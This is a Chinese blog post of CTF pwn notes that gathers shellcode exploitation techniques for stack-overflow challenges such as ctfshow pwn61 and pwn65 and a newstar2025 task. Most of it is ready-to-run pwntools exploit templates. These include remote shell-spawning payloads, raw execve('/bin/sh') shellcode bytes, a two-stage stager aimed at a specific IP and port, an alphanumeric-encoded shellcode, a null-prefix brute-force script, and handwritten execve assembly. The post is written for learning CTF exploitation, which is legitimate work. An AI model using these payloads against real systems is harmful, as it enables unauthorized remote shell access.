pwn(部分shellcode总结)

这里的shellcode的题目都是利用栈溢出了

shellcode的获取方法:

  1. 利用pwntools的shellcraft模块
  2. 网上查询

直接写入shellcode

1.32位

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
#r=process('./elf')
#e=ELF('./elf')
r = remote("域名",端口)

shellcode = asm(shellcraft.sh())

payload1=shellcode
r.sendline(payload1)
r.interactive()

1.64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#r=process('./elf')
#e=ELF('./elf')
r = remote("域名",端口)

shellcode = asm(shellcraft.sh())
r.recvuntil("") #根据实际情况,也可能没有
payload1=shellcode

r.sendline(payload1)

r.interactive()

在bss段写入shellcode

2.32位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
r = remote("域名",端口)

shellcode = asm(shellcraft.sh())

buf2=0x804A080 #根据实际情况

r.recvuntil("xxxxxxx") #根据实际情况,也可能没有

payload1=shellcode.ljust(112,b"a")+p32(buf2) #偏移量根据实际请况

r.sendline(payload1)

r.interactive()

2.64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug') # 修改了arch为'amd64'

# 保持连接信息不变
r = remote("域名",端口)

# 确保使用的是64位shellcode
shellcode = asm(shellcraft.sh())

buf2=0x601000 # 示例地址,实际使用时请替换为目标程序中的正确地址

r.recvuntil("xxxxxxx") #根据实际情况,也可能没有

# 构造payload,注意使用p64()来适应64位地址空间
payload1=shellcode.ljust(112,b"a")+p64(buf2) #偏移量根据实际请况

r.sendline(payload1)

r.interactive()

pwntools的shellcode长度过长利用网上找的shellcode

例题ctfshow pwn61,这里还有注意有个leave不能直接在栈上写入shellcode,shellcode要放在v5之后即要放在v5首地址的24+8字节后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
r=process('./pwn61')
#r = remote("域名",端口)
shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"# 22bytes
#shellcode = asm(shellcraft.sh())
#shellcode=b'\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x54\x5f\x31\xc0\x50\xb 0\x3b\x54\x5a\x54\x5e\x0f\x05'
#shellcode =b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f \x6a\x3b\x58\x99\x0f\x05'
#shellcode =b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80' 32位
#shellcode =b'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' 32位
#shellcode =b'(\x6A)\x68\x68\x2F\x2F\x2F\x73\x68\x2F\x62\x69\x6E\x89\xE3\x31\xC9\x31\xD2\x6A\x0B\x58\xCD\x80' 32位
#shellcode =b'\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' 32位
#shellcode =b'\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05'64位
#shellcode =b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'64位
#shellcode =b'PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0A' 纯ASCII
r.recvuntil("What's this : [")

v5=int(r.recv(14),16)

print("shellcode:",len(shellcode))
print("v5:",hex(v5))

r.recvuntil("But how to use it?\n")

payload1=b"a"*24+p64(v5+32)+shellcode

r.sendline(payload1)

r.interactive()

当64位比22位还小

newstar2025 input_small_function

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
buf = mmap((void *)0x114514, 0x1000uLL, 7, 34, -1, 0LL);
puts("please input a small function (also after compile)");
read(0, buf, 0x14uLL);
clear();
((void (*)(void))buf)();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:00000000000011F0 ; __int64 clear()
.text:00000000000011F0 public clear
.text:00000000000011F0 clear proc near ; CODE XREF: main+66↓p
.text:00000000000011F0 ; __unwind {
.text:00000000000011F0 endbr64
.text:00000000000011F4 push rbp
.text:00000000000011F5 mov rbp, rsp
.text:00000000000011F8 xor rax, rax
.text:00000000000011FB xor rbx, rbx
.text:00000000000011FE xor rcx, rcx
.text:0000000000001201 xor rdx, rdx
.text:0000000000001204 xor rdi, rdi
.text:0000000000001207 xor rsi, rsi
.text:000000000000120A xor r8, r8
.text:000000000000120D xor r9, r9
.text:0000000000001210 xor r10, r10
.text:0000000000001213 xor r11, r11
.text:0000000000001216 xor r12, r12
.text:0000000000001219 xor r13, r13
.text:000000000000121C xor r14, r14
.text:000000000000121F xor r15, r15
.text:0000000000001222 nop
.text:0000000000001223 pop rbp
.text:0000000000001224 retn

clear是关键

我们只要把shellcode的xor rsi, rsi删去转字节码

1
2
3
4
5
6
7
8
9
xor     rsi,    rsi            
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
from LibcSearcher import *
#context(os='linux', arch='amd64', log_level='debug')
r = remote("ip", port)
#shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"# 22bytes
shellcode= b"\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\xB0\x3B\x99\x0F\x05"
print("shellcode:",len(shellcode))
payload1=shellcode
r.recvuntil("please input a small function (also after compile)")
r.sendline(payload1)

r.interactive()

Aristore大佬的方法

先发送一段极小的 “加载器” shellcode(stager),它必须小于等于20字节。这个 stager 的功能是再次调用 read 系统调用,从标准输入读取一段更长的 shellcode 到 0x114514 这个地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# -*- coding: utf-8 -*-
from pwn import *

# 设置目标架构和操作系统
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

HOST = '8.147.134.121'
PORT = 26655
BUF_ADDR = 0x114514

p = remote(HOST, PORT)

# --- Stage 1 ---
# 1. 调用 read(0, BUF_ADDR, 0x50) 再次读取
# 2. 读取完成后,跳转回 BUF_ADDR 的开头,以执行 Stage 2 shellcode
stage1_asm = f"""
/* Part 1: Call read(0, BUF_ADDR, 0x50) */
xor eax, eax /* syscall read = 0 */
xor edi, edi /* fd stdin = 0 */
mov esi, {BUF_ADDR} /* buffer address */
mov dl, 0x50 /* size to read */
syscall /* Make the call */

/* Part 2: Jump back to the start of the buffer */
mov eax, {BUF_ADDR} /* Load the absolute address into eax */
jmp rax /* Jump to it */
"""
stage1_shellcode = asm(stage1_asm)

# 检查 stager 长度
log.info(f"Stage 1 (stager) shellcode: {stage1_shellcode.hex()}")
log.info(f"Stage 1 (stager) shellcode length: {len(stage1_shellcode)} bytes")

# 断言确保长度正确
assert len(stage1_shellcode) <= 0x14, "Stage 1 shellcode is too long!"
# 填充到20字节
stage1_shellcode = stage1_shellcode.ljust(0x14, b'\x90') # Pad with NOPs

# --- Stage 2 ---
# 获取 shell
stage2_shellcode = asm(shellcraft.sh())
log.info(f"Stage 2 (main) shellcode length: {len(stage2_shellcode)} bytes")


p.recvuntil(b"please input a small function (also after compile)\n")

log.info("Sending Stage 1 (stager with jump) shellcode...")
p.send(stage1_shellcode)

sleep(0.2)

log.info("Sending Stage 2 (main) shellcode...")
p.send(stage2_shellcode)

p.interactive()

shellcode是需要由大小写字母及数字构成

先要下载alpha3;

1
git clone https://github.com/TaQini/alpha3.git

应为github很不稳定所以这里推荐两种方法

  1. 科学上网(其实是不文明上网),自己理解
    1
  2. 用bgithub.xyz替换github.com

​ 然后再利用pwntools生成一个shellcode

1
2
3
4
5
from pwn import *
context.arch='amd64'
sc = asm(shellcraft.sh())
with open('sc', 'bw') as f:
f.write(sc)

将上述代码保存成sc.py放到alpha3目录下,然后执行如下命令生成待编码的shellcode文件

1
2
cd alpha3
python3 sc.py > sc

使用alpha3生成string.printable (这里得用 python2)

1
python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc"
1
2
3
4
5
6
7
8
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
e=ELF('./pwn65')
r = remote("域名",端口)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
r.send(shellcode)
r.interactive()

shellcode开头为\x00

用脚本找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from itertools import *
import re

for i in range(1, 3):
for j in product([p8(k) for k in range(256)], repeat=i):
payload = b"\x00" + b"".join(j)
res = disasm(payload)
if (
res != " ..."
and not re.search(r"\[\w*?\]", res)
and ".byte" not in res
):
print(res)
input()

exp模板

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#r = process('./')
#elf=ELF('./')
r = remote("域名",端口)
shellcode = asm(shellcraft.sh())
r.recvuntil("")

r.sendline(b'\x00'+b'\xc0'+shellcode)
r.recvuntil("")
r.interactive()

手动写shellcode

先学习一下怎么写入shellcode

32和64的系统调用表

ASCll转16进制

查看可以被使用汇编指令

在线编写汇编指令

x64

1
2
3
4
5
6
7
8
mov rax, 0x68732f6e69622f;
push rax;
mov rdi, rsp;
xor esi, esi;
xor edx, edx;
push 0x3b;
pop rax;
syscall;
1
2
3
4
5
6
7
8
9
10
11
xor rax,rax
push 0x3b
pop rax
xor rdi,rdi
mov rdi ,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
syscall

x32

1
2
3
4
5
6
7
8
9
10
11
xor ecx,ecx
xor edx,edx
xor ebx,ebx
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor eax,eax
push 11
pop eax
int 0x80

手写open,read,write的shellcode

这个就是sandbox见我的另一篇文章